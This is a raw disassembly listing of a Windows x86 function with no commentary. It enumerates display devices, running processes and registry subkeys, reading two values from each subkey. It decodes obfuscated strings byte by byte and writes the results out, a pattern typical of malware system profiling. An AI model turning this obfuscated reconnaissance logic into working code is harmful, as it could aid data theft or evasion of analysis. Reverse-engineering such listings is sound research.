call fcn.00402d70
add esp, 0x10
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x744]
push 0x1a4
push 0
push eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x748], 0x1a8
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40df4d
nop dword [eax + eax]
mov esi, dword [ebp - 0xbc]
xor ecx, ecx
mov edi, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x2c], ecx
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40ddcc
xor edi, edi
jmp 0x40dcd3
mov edi, dword [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dcf1
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402aa0
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x44]
mov ecx, dword [ebp - 0xc0]
add ecx, edi
cmp dword [ebp - 0x30], 0x10
cmovae edx, dword [ebp - 0x44]
cmp dword [ecx + 0x14], 0x10
mov esi, dword [ecx + 0x10]
jb 0x40dd2c
mov ecx, dword [ecx]
cmp esi, dword [ebp - 0x34]
jne 0x40dd7f
sub esi, 4
jb 0x40dd47
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40dd4c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40dd36
cmp esi, 0xfffffffc
je 0x40dd79
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40dd7f
cmp esi, 0xfffffffd
je 0x40dd79
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40dd7f
cmp esi, 0xfffffffe
je 0x40dd79
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40dd7f
cmp esi, 0xffffffff
je 0x40dd79
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40dd7f
mov byte [ebp - 0x25], 1
jmp 0x40dd83
mov byte [ebp - 0x25], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x44]
call fcn.00402890
cmp byte [ebp - 0x25], 0
jne 0x40df06
mov esi, dword [ebp - 0xbc]
add edi, 0x18
inc dword [ebp - 0x2c]
mov ecx, esi
mov dword [ebp - 0x54], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc0]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x2c], eax
jb 0x40dcd0
movaps xmm0, xmmword [0x51dfe0]
sub esi, edi
mov eax, 0x2aaaaaab
mov word [ebp - 0x5b], 0x95ec
imul esi
movups xmmword [ebp - 0x6b], xmm0
mov byte [ebp - 0x59], 0
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40de00
mov edi, dword [ebp - 0xb0]
lea eax, [ebp - 0x724]
push eax
push esi
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x10], 0
add esp, 0x10
lea edx, [ecx + 1]
movups xmmword [ebp - 0x24], xmm0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40de50
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00402aa0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb8]
je 0x40dea8
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x14]
movq qword [eax + 0x10], xmm0
mov eax, 0xf
mov dword [ebp - 0x10], eax
add dword [ebp - 0xbc], 0x18
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0
jmp 0x40debb
lea ecx, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00465480
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 0x16
cmp eax, 0x10
jb 0x40def2
mov edx, dword [ebp - 0x24]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40dee8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e45e
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
jmp 0x40df0c
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 0x48]
lea eax, [ebp - 0x744]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x748], 0x1a8
push eax
mov dword [ebp - 0x48], esi
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40dca0
mov dword [ebp - 0x1a], 0xedcfc495
xor ecx, ecx
mov dword [ebp - 0x16], 0xecfafcf0
mov dword [ebp - 0x12], 0xc2ecfaec
mov word [ebp - 0xe], 0x95
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40df70
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
add esp, 8
mov dword [ebp - 0x4d0], pe_nt_image_headers32
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e03c
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40e035
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40e035
nop dword [eax]
nop dword [eax + eax]
mov dword [ebp - 0x58], 0xc4bfecba
xor ecx, ecx
mov dword [ebp - 0x54], 0x95c2fbba
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jb 0x40dff4
push dword [ebp - 0x4c8]
lea eax, [ebp - 0x4ac]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
call fcn.00402d70
add esp, 0x10
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40dfe0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19], 0xf0ccc495
xor ecx, ecx
mov dword [ebp - 0x15], 0xfee8ebf9
mov dword [ebp - 0x11], 0x95c2faed
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40e060
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x51e6b0]
add esp, 8
movups xmmword [ebp - 0xac], xmm0
xor ecx, ecx
mov dword [ebp - 0x7c], 0xf3f3fe
movaps xmm0, xmmword [0x51ea10]
movups xmmword [ebp - 0x9c], xmm0
movaps xmm0, xmmword [0x51e410]
movups xmmword [ebp - 0x8c], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xac]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 0x33
jb 0x40e0c0
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e2e1
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x400
push eax
lea eax, [ebp - 0x9a0]
push eax
push esi
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x40e2cc
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov dword [ebp - 0x55], 0xbac3ecba
mov word [ebp - 0x51], 0xec
movzx eax, byte [ebp + ecx - 0x55]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 5
jb 0x40e154
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x55]
push eax
lea eax, [ebp - 0x16ac]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x16ac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e2c9
mov dword [ebp - 0xb0], 0xf003f
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x18], 0xefecf6db
mov dword [ebp - 0x14], 0xd1e6fef3
mov dword [ebp - 0x10], 0xfaf2fe
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40e1e0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e2c0
mov dword [ebp - 0x67], 0xefecf6db
xor ecx, ecx
mov dword [ebp - 0x63], 0xc9e6fef3
mov dword [ebp - 0x5f], 0xf6ecedfa
mov word [ebp - 0x5b], 0xf1f0
mov byte [ebp - 0x59], al
nop
movzx eax, byte [ebp + ecx - 0x67]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 0xe
jb 0x40e240
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x67]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e2c0
mov dword [ebp - 0x35], 0xc4bfecba
xor ecx, ecx
mov dword [ebp - 0x31], 0x95c2ecba
mov byte [ebp - 0x2d], al
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40e290
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x78]
inc esi
test eax, eax
je 0x40e110
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004d23a8
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xc0]
call fcn.0045a080
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00402890
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xec]
call fcn.00402890
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x104]
call fcn.00402890
sub esp, 0x18
mov byte [ebp - 0x25], 1
mov dword [ebp - 0xb4], esp
lea eax, [ebp - 0x148]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd4], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.0040b450
add esp, 0x18
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
mov dl, byte [ebp - 0x25]
call fcn.0040c9c0
add esp, 0x18
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov word [ebp - 0x4b], 0xfde8
mov byte [ebp - 0x49], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40e390
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004ceb20
mov esi, eax
add esp, 8
test esi, esi
je 0x40e3f8
cmp dword [ebp - 0x164], 0x10
lea ecx, [ebp - 0x178]
push esi
push dword [ebp - 0x168]
cmovae ecx, dword [ebp - 0x178]
push 1
push ecx
call fcn.004d6928
push esi
call fcn.004d23a8
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
call fcn.00402890
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x148]
call fcn.00402890
mov byte [ebp - 4], 2
lea ecx, [ebp + 8]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x20]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x38]
call fcn.00402890
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x50]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004cdf70
int3